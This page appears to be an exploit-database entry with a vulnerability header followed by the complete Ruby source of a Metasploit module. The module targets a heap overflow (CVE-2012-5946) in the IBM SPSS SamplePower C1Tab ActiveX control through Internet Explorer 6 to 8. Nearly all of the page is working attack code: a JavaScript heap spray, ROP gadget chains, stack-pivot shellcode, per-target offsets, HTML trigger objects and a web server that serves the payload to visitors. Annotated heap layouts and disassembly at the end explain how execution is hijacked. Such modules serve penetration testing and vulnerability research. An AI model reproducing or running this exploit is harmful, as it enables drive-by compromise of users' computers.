IBM SPSS SamplePower C1Tab ActiveX Heap Overflow

2013.05.29
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking, :classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}", :method => "TabCaption" }) def initialize(info={}) super(update_info(info, 'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow", 'Description' => %q{ This module exploits a heap based buffer overflow in the C1Tab ActiveX control, while handling the TabCaption property. The affected control can be found in the c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', # Vulnerability discovery 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-5946' ], [ 'OSVDB', '92845' ], [ 'BID', '59559' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ] ], 'Payload' => { 'Space' => 991, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c08 } ], [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c08 } ], [ 'IE 8 on Windows XP SP3', { 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c, 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret } ], [ 'IE 8 on Windows 7', { 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c, 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret } ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 26 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end print_status("target not found #{agent}") return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0c0c # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def rop_chain # gadgets from c1sizer.ocx rop_gadgets = [ 0x0c0c0c10, 0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack 0x100076f1, # pop eax # ret 0x10029134, # &VirtualAllox 0x1001b41e, # jmp [eax] 0x0c0c0c34, # ret address 0x0c0c0c0c, # lpAddress 0x00001000, # dwSize 0x00001000, # flAllocationType 0x00000040 # flProtect ].pack("V*") return rop_gadgets end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. if (t.name =~ /IE 6/ or t.name =~ /IE 7/) fake_memory = [ 0x0c0c0c10, 0x0c0c0c14 ].pack("V*") return fake_memory + code end return rop_chain + stack_pivot + code end # Objects filling aren't randomized because # this combination make exploit more reliable. def fake_object(size) object = "B" * 8 # metadata object << "D" * size # fake object return object end def stack_pivot pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end # Check the memory layout documentation at the end of the module def overflow_xp buf = rand_text_alpha(0x10000) # Start to overflow buf << fake_object(0x40) buf << fake_object(0x30) buf << fake_object(0x30) buf << fake_object(0x40) buf << fake_object(0x10) buf << fake_object(0x10) buf << fake_object(0x20) buf << fake_object(0x10) buf << fake_object(0x30) buf << "B" * 0x8 # metadata chunk buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object end # Check the memory layout documentation at the end of the module def overflow_xp_ie8 buf = [ junk, # padding 0x1001b557, # pop eax # c1sizer.ocx 0x0c0c0c14, # eax 0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap ].pack("V*") buf << rand_text_alpha(0x10000-16) # Start to overflow buf << "B" * 0x8 # metadata chunk buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object end # Check the memory layout documentation at the end of the module def overflow_w7 buf = [ junk, # padding 0x1001b557, # pop eax # c1sizer.ocx 0x0c0c0c14, # eax 0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap ].pack("V*") buf << rand_text_alpha(0x10000-16) # Start to oveflow buf << fake_object(0x3f8) buf << fake_object(0x1a0) buf << fake_object(0x1e0) buf << fake_object(0x1a0) buf << fake_object(0x1e0) buf << fake_object(0x1a0) buf << "B" * 0x8 # metadata chunk buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object end def get_overflow(t) if t.name =~ /Windows 7/ return overflow_w7 elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/ return overflow_xp_ie8 elsif t.name =~ /Windows XP/ return overflow_xp end end # * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer. # * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer. # * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the # TabCaption property. def trigger_w7 target = rand_text_alpha(5 + rand(3)) target2 = rand_text_alpha(5 + rand(3)) target3 = rand_text_alpha(5 + rand(3)) target4 = rand_text_alpha(5 + rand(3)) target5 = rand_text_alpha(5 + rand(3)) target6 = rand_text_alpha(5 + rand(3)) target7 = rand_text_alpha(5 + rand(3)) target8 = rand_text_alpha(5 + rand(3)) target9 = rand_text_alpha(5 + rand(3)) target10 = rand_text_alpha(5 + rand(3)) target11 = rand_text_alpha(5 + rand(3)) target12 = rand_text_alpha(5 + rand(3)) target13 = rand_text_alpha(5 + rand(3)) target14 = rand_text_alpha(5 + rand(3)) target15 = rand_text_alpha(5 + rand(3)) objects = %Q| <object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> <object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> | return objects, target7 end # * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just # an object is sufficient to overflow itself and get control execution. def trigger_xp target = rand_text_alpha(5 + rand(3)) objects = %Q| <object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object> | return objects, target end def get_trigger(t) if t.name =~ /Windows 7/ return trigger_w7 elsif t.name =~ /Windows XP/ return trigger_xp end end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) buf = get_overflow(my_target) objects, target_object = get_trigger(my_target) html = %Q| <html> <head> </head> <body> #{objects} <script> CollectGarbage(); #{js} #{target_object}.Caption = ""; #{target_object}.TabCaption(0) = "#{buf}"; </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin [*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test Heap entries for Segment01 in Heap 01ca0000 address: psize . size flags state (requested size) 025c0000: 00000 . 00040 [01] - busy (40) 025c0040: 00040 . 10008 [01] - busy (10000) 025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer 025e0050: 10008 . 00048 [01] - busy (40) 025e0098: 00048 . 00038 [01] - busy (30) 025e00d0: 00038 . 00038 [01] - busy (30) 025e0108: 00038 . 00048 [01] - busy (40) 025e0150: 00048 . 00018 [01] - busy (10) 025e0168: 00018 . 00018 [01] - busy (10) 025e0180: 00018 . 00028 [01] - busy (20) 025e01a8: 00028 . 00018 [01] - busy (10) 025e01c0: 00018 . 00010 [00] 025e01d0: 00010 . 00038 [01] - busy (30) 025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object 025e03f0: 001e8 . 001a8 [01] - busy (1a0) [*] Windows XP / ie8 memory layout at oveflow, based on empirical test Heap entries for Segment01 in Heap 03350000 address: psize . size flags state (requested size) 03840000: 00000 . 00040 [01] - busy (40) 03840040: 00040 . 10008 [01] - busy (10000) 03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer 03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object 03860238: 001e8 . 001a8 [01] - busy (1a0) 038603e0: 001a8 . 00078 [00] 03860458: 00078 . 00048 [01] - busy (40) 038604a0: 00048 . 00048 [01] - busy (40) 038604e8: 00048 . 00618 [01] - busy (610) 03860b00: 00618 . 10208 [01] - busy (10200) 03870d08: 10208 . 032f8 [10] 03874000: 000cc000 - uncommitted bytes. [*] windows 7 / ie8 memory layout at oveflow, based on empirical test 03240000: 00000 . 00040 [101] - busy (3f) 03240040: 00040 . 10008 [101] - busy (10000) 03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer 03260050: 10008 . 00400 [101] - busy (3f8) Internal 03260450: 00400 . 001a8 [101] - busy (1a0) 032605f8: 001a8 . 001e8 [101] - busy (1e0) 032607e0: 001e8 . 001a8 [101] - busy (1a0) 03260988: 001a8 . 001e8 [101] - busy (1e0) 03260b70: 001e8 . 001a8 [101] - busy (1a0) 03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing 03260f00: 001e8 . 001a8 [101] - busy (1a0) 032610a8: 001a8 . 001e8 [101] - busy (1e0) 03261290: 001e8 . 001a8 [101] - busy (1a0) 03261438: 001a8 . 001e8 [101] - busy (1e0) 03261620: 001e8 . 001a8 [101] - busy (1a0) 032617c8: 001a8 . 001e8 [101] - busy (1e0) [*] Overflow: .text:100146E1 push eax ; lpString2 .text:100146E2 push CaptionlpBuffer ; lpString1 .text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000 [*] Get Control after overflow: .text:1001A40D call overflow_sub_1001469E ; Overflow happens here .text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this) .text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here .text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p .text:100189EC ; SetTabCaption_sub_1001A2EC+128p ... .text:100189EC .text:100189EC var_4 = dword ptr -4 .text:100189EC .text:100189EC push ebp .text:100189ED mov ebp, esp .text:100189EF push ecx .text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled .text:100189F3 and [ebp+var_4], 0 .text:100189F7 test eax, eax .text:100189F9 jz short locret_10018A23 .text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled .text:100189FD lea edx, [ebp+var_4] .text:10018A00 push edx .text:10018A01 push offset unk_1002B628 .text:10018A06 push eax .text:10018A07 call dword ptr [ecx] # woot! =end

References:

http://www-01.ibm.com/support/docview.wss?uid=swg21635476


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